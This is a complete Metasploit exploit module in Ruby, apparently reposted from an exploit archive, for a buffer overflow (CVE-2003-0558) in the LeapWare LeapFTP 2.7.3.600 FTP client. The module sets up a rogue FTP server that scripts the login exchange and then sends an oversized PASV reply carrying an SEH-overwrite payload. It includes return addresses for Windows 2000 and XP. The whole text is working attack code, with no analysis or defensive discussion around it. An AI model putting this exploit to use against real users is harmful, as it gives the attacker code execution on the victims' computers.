LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::TcpServer  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'LeapWare LeapFTP v2.7.3.600 PASV Reply Client Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the LeapWare LeapFTP v2.7.3.600  
client that is triggered through an excessively long PASV reply command. This  
module was ported from the original exploit by drG4njubas with minor improvements.  
},  
'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2003-0558' ],  
[ 'OSVDB', '4587' ],  
[ 'BID', '7860' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/54' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x0a\x0d\().,",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Patrick - Tested against w2k sp0, sp4, xp sp0, xp sp2 en OK.  
[ 'Universal LeapFTP.exe', { 'Ret' => 0x004bdd24 } ], # p/p/r LeapFTP.exe   
[ 'Windows 2000 SP0/4 English', { 'Ret' => 0x75022ac4 } ], # p/p/r ws2help.dll  
[ 'Windows XP SP0 English', { 'Ret' => 0x7660139c } ], # p/p/r cscdll.dll   
],  
'Privileged' => false,  
'DisclosureDate' => 'Jun 09 2003',  
'DefaultTarget' => 0))  
  
register_options(  
[   
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),  
OptString.new('SRVNAME', [ true, "Welcome to the ... FTP Service", "Test" ]),  
], self.class)  
end  
  
def on_client_connect(client)  
return if ((p = regenerate_payload(client)) == nil)   
  
buffer = "220 Welcome to the " + datastore['SRVNAME'] + " FTP Service.\r\n"  
client.put(buffer)  
end  
  
def on_client_data(client)  
  
  
client.get_once  
  
# This could be improved if anyone wants to write a FTP server API.  
user = "331 Please specify the password.\r\n"  
client.put(user)  
  
client.get_once  
pass = "230 Login successful.\r\n"  
client.put(pass)  
  
client.get_once  
syst = "215 Windows_NT 5.1\r\n"  
client.put(syst)  
  
client.get_once  
rest = "350 Restart position accepted (100).\r\n"  
client.put(rest)  
  
client.get_once  
rest = "350 Restart position accepted (0).\r\n"  
client.put(rest)  
  
client.get_once  
pwd = "257 \"/\"\r\n"  
client.put(pwd)  
  
client.get_once  
type = "200 Switching to ASCII mode.\r\n"  
client.put(type)  
  
client.get_once  
port = "500 Illegal PORT command.\r\n" # We force LeapFTP to use PASV. It will try PORT first.  
client.put(port)  
  
client.get_once  
pasv = "227 Entering Passive Mode ("  
pasv << rand_text_numeric(1053) + generate_seh_payload(target.ret)  
pasv << "," + rand_text_numeric(1)  
pasv << "," + rand_text_numeric(1)  
pasv << "," + rand_text_numeric(1)  
pasv << "," + rand_text_numeric(1)  
pasv << "," + rand_text_numeric(1)  
pasv << ")\r\n"  
  
client.put(pasv)  
  
handler(client)  
service.close_client(client)  
end  
end  
`